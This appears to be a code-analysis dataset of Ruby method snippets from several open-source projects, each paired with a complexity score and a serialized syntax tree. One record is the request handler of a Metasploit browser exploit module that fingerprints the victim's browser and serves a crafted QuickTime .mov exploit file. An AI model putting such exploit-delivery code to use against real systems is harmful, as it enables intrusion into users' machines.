end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_paths\"]},{\"type\":\"optarg\",\"children\":[\"details\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"prefixes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@details_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@digest_cache\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefixes\",{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@details\",{\"type\":\"send\",\"children\":[null,\"initialize_details\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"details\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@view_paths\",{\"type\":\"send\",\"children\":[null,\"build_view_paths\",{\"type\":\"lvar\",\"children\":[\"view_paths\"]}]}]}]}]}","id":"e72897c3-d7d9-4f74-96b0-406bb672b8aa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/apple_quicktime_rdrf.rb","start_line":103,"raw_source":"def on_request_uri(cli, request)\n    agent = request.headers['User-Agent']\n    print_status(\"Requesting: #{request.uri}\")\n\n    unless targetable?(agent)\n      print_error(\"Browser not supported, sending 404: #{agent}\")\n      send_not_found(cli)\n      return\n    end\n\n    print_status(\"Target selected as: #{target.name}\") if target\n\n    if request.uri =~ /\\.mov$/\n      print_status(\"Sending specially crafted .mov file\")\n      send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })\n    else\n      html = get_html(target)\n      send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' })\n    end\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targetable?\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Browser not supported, sending 404: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target selected as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.mov$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending specially crafted .mov file\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@exploit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[null,\"get_html\",{\"type\":\"send\",\"children\":[null,\"target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache-Control\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]}]}]}]}]}","id":"f8497d6c-7904-4fab-975f-4936582bdf9d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":976,"raw_source":"def test_insert_without_unpersisted_records_has_no_deprecation\n    skip unless supports_insert_on_duplicate_skip?\n\n    author = Author.create!(name: \"Rafael\")\n\n    assert_not_deprecated(ActiveRecord.deprecator) do\n      author.books.insert({ title: \"New Book\" })\n    end\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_without_unpersisted_records_has_no_deprecation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_skip?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Rafael\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_deprecated\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"deprecator\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"books\"]},\"insert\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"New Book\"]}]}]}]}]}]}]}","id":"e86fc9f0-679f-4b44-b103-a066ee00f88f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":301,"raw_source":"def variant_any_with_none\n    respond_to do |format|\n      format.html.any(:none, :phone) { render body: \"none or phone\" }\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"variant_any_with_none\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},\"any\",{\"type\":\"sym\",\"children\":[\"none\"]},{\"type\":\"sym\",\"children\":[\"phone\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"none or phone\"]}]}]}]}]}]}]}","id":"79ced245-cb24-4ffc-8a2f-3405cd4de599"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql/protocol.rb","start_line":611,"raw_source":"def self.parse(pkt)\n        field_count = pkt.lcb\n        if field_count == 0\n          affected_rows = pkt.lcb\n          insert_id = pkt.lcb\n          server_status = pkt.ushort\n          warning_count = pkt.ushort\n          message = pkt.lcs\n          return self.new(field_count, affected_rows, insert_id, server_status, warning_count, message)\n        elsif field_count.nil?   # LOAD DATA LOCAL INFILE\n          return self.new(nil, nil, nil, nil, nil, pkt.to_s)\n        else\n          return self.new(field_count)\n        end\n      end","complexity_score":23.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"lcb\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"affected_rows\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"lcb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"insert_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"lcb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"server_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ushort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"warning_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ushort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"lcs\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"field_count\"]},{\"type\":\"lvar\",\"children\":[\"affected_rows\"]},{\"type\":\"lvar\",\"children\":[\"insert_id\"]},{\"type\":\"lvar\",\"children\":[\"server_status\"]},{\"type\":\"lvar\",\"children\":[\"warning_count\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_count\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_s\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"field_count\"]}]}]}]}]}]}]}","id":"0aa17c48-73a1-4c4c-9c85-cdd7366990c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/ci/pipeline_entity.rb","start_line":115,"raw_source":"def can_cancel?\n    can?(request.current_user, :cancel_pipeline, pipeline) &&\n      pipeline.cancelable?\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_cancel?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"cancel_pipeline\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"cancelable?\"]}]}]}","id":"3a874a3b-77ac-4eca-9012-b9813a0d4e2e"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/files.rb","start_line":32,"raw_source":"def initialize(root, headers = {}, default_mime = 'text/plain')\n      @root = (::File.expand_path(root) if root)\n      @headers = headers\n      @default_mime = default_mime\n      @head = Rack::Head.new(lambda { |env| get env })\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"optarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"default_mime\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@headers\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_mime\",{\"type\":\"lvar\",\"children\":[\"default_mime\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@head\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Head\"]},\"new\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]}]}]}","id":"21ee00c2-eb66-4324-ba15-8ba43b2131c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20150213174159_create_digest_unsubscribe_keys.rb","start_line":18,"raw_source":"def migrate_redis_keys\n    return if Rails.env.test?\n\n    temp_keys = Discourse.redis.keys(\"temporary_key:*\")\n    if temp_keys.present?\n      temp_keys.map! do |key|\n        user_id = Discourse.redis.get(key).to_i\n        ttl = Discourse.redis.ttl(key).to_i\n\n        if ttl > 0\n          ttl = \"'#{ttl.seconds.ago.strftime(\"%Y-%m-%d %H:%M:%S\")}'\"\n        else\n          ttl = \"CURRENT_TIMESTAMP\"\n        end\n        Discourse.redis.del(key)\n        key.gsub!(\"temporary_key:\", \"\")\n        user_id ? \"('#{key}', #{user_id}, #{ttl}, #{ttl})\" : nil\n      end\n      temp_keys.compact!\n      if temp_keys.present?\n        execute \"INSERT INTO digest_unsubscribe_keys (key, user_id, created_at, updated_at) VALUES #{temp_keys.join(\", \")}\"\n      end\n    end\n  rescue StandardError\n    # If anything goes wrong, continue with other migrations\n  end","complexity_score":54.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_redis_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"temp_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"keys\",{\"type\":\"str\",\"children\":[\"temporary_key:*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_keys\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_keys\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"ttl\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ttl\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ttl\"]},\"seconds\"]},\"ago\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M:%S\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"del\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"temporary_key:\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"', \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ttl\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ttl\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_keys\"]},\"compact!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_keys\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO digest_unsubscribe_keys (key, user_id, created_at, updated_at) VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},null]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,null]},null]}]}","id":"ab7d1b97-c102-4a9f-8fd1-2b333b9ef13b"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/macros/toc.rb","start_line":41,"raw_source":"def apply(macro, result:, context:)\n      raise \"The HTML::Pipeline::TableOfContentsFilters needs to run before.\" unless result[:toc]\n\n      macro.replace(result[:toc])\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"apply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"macro\"]},{\"type\":\"kwarg\",\"children\":[\"result\"]},{\"type\":\"kwarg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"toc\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"The HTML::Pipeline::TableOfContentsFilters needs to run before.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macro\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"toc\"]}]}]}]}]}","id":"640d15bb-74f4-4646-85a8-42f17f0e054f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concurrency_limit/resume_worker.rb","start_line":56,"raw_source":"def process_worker(worker_name)\n      worker = worker_name.safe_constantize\n      return unless worker\n\n      limit = worker_limit(worker)\n      queue_size = queue_size(worker)\n      current = concurrent_worker_count(worker)\n      to_resume = limit - current\n\n      return unless queue_size > 0\n      return if limit < 0 # do not re-queue jobs if circuit-broken\n      return if limit != 0 && to_resume <= 0\n\n      Gitlab::SidekiqLogging::ConcurrencyLimitLogger.instance.worker_stats_log(\n        worker.name, limit, queue_size, current\n      )\n\n      resumed_jobs_num = resume_processing!(worker)\n      cleanup_stale_trackers(worker)\n\n      self.class.perform_in(RESCHEDULE_DELAY, worker_name) if queue_size(worker) > 0\n      log_extra_metadata_on_done(:resumed_jobs, resumed_jobs_num)\n    end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_name\"]},\"safe_constantize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[null,\"worker_limit\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_size\",{\"type\":\"send\",\"children\":[null,\"queue_size\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[null,\"concurrent_worker_count\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"to_resume\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"current\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_resume\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqLogging\"]},\"ConcurrencyLimitLogger\"]},\"instance\"]},\"worker_stats_log\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"queue_size\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resumed_jobs_num\",{\"type\":\"send\",\"children\":[null,\"resume_processing!\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cleanup_stale_trackers\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue_size\",{\"type\":\"lvar\",\"children\":[\"worker\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"perform_in\",{\"type\":\"const\",\"children\":[null,\"RESCHEDULE_DELAY\"]},{\"type\":\"lvar\",\"children\":[\"worker_name\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"resumed_jobs\"]},{\"type\":\"lvar\",\"children\":[\"resumed_jobs_num\"]}]}]}]}","id":"baaaa23c-b484-4fc1-a662-aed7ffede07c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/sigh/lib/sigh/runner.rb","start_line":202,"raw_source":"def fetch_certificates(certificate_types)\n      filter = {\n        certificateType: certificate_types.join(',')\n      }\n\n      certificates = Sigh.config[:cached_certificates]\n      certificates ||= Spaceship::ConnectAPI::Certificate.all(filter: filter)\n\n      return certificates\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_certificates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"certificate_types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"certificateType\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate_types\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"certificates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sigh\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached_certificates\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"certificates\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificates\"]}]}]}]}","id":"b897ee97-646c-46f5-b894-9a95a4656b64"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration.rb","start_line":520,"raw_source":"def raise_type_error(other)\n        raise TypeError, \"no implicit conversion of #{other.class} into #{self.class}\"\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_type_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"no implicit conversion of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" into \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}]}","id":"491efab0-9531-47c0-b610-1bd9d76517ae"}
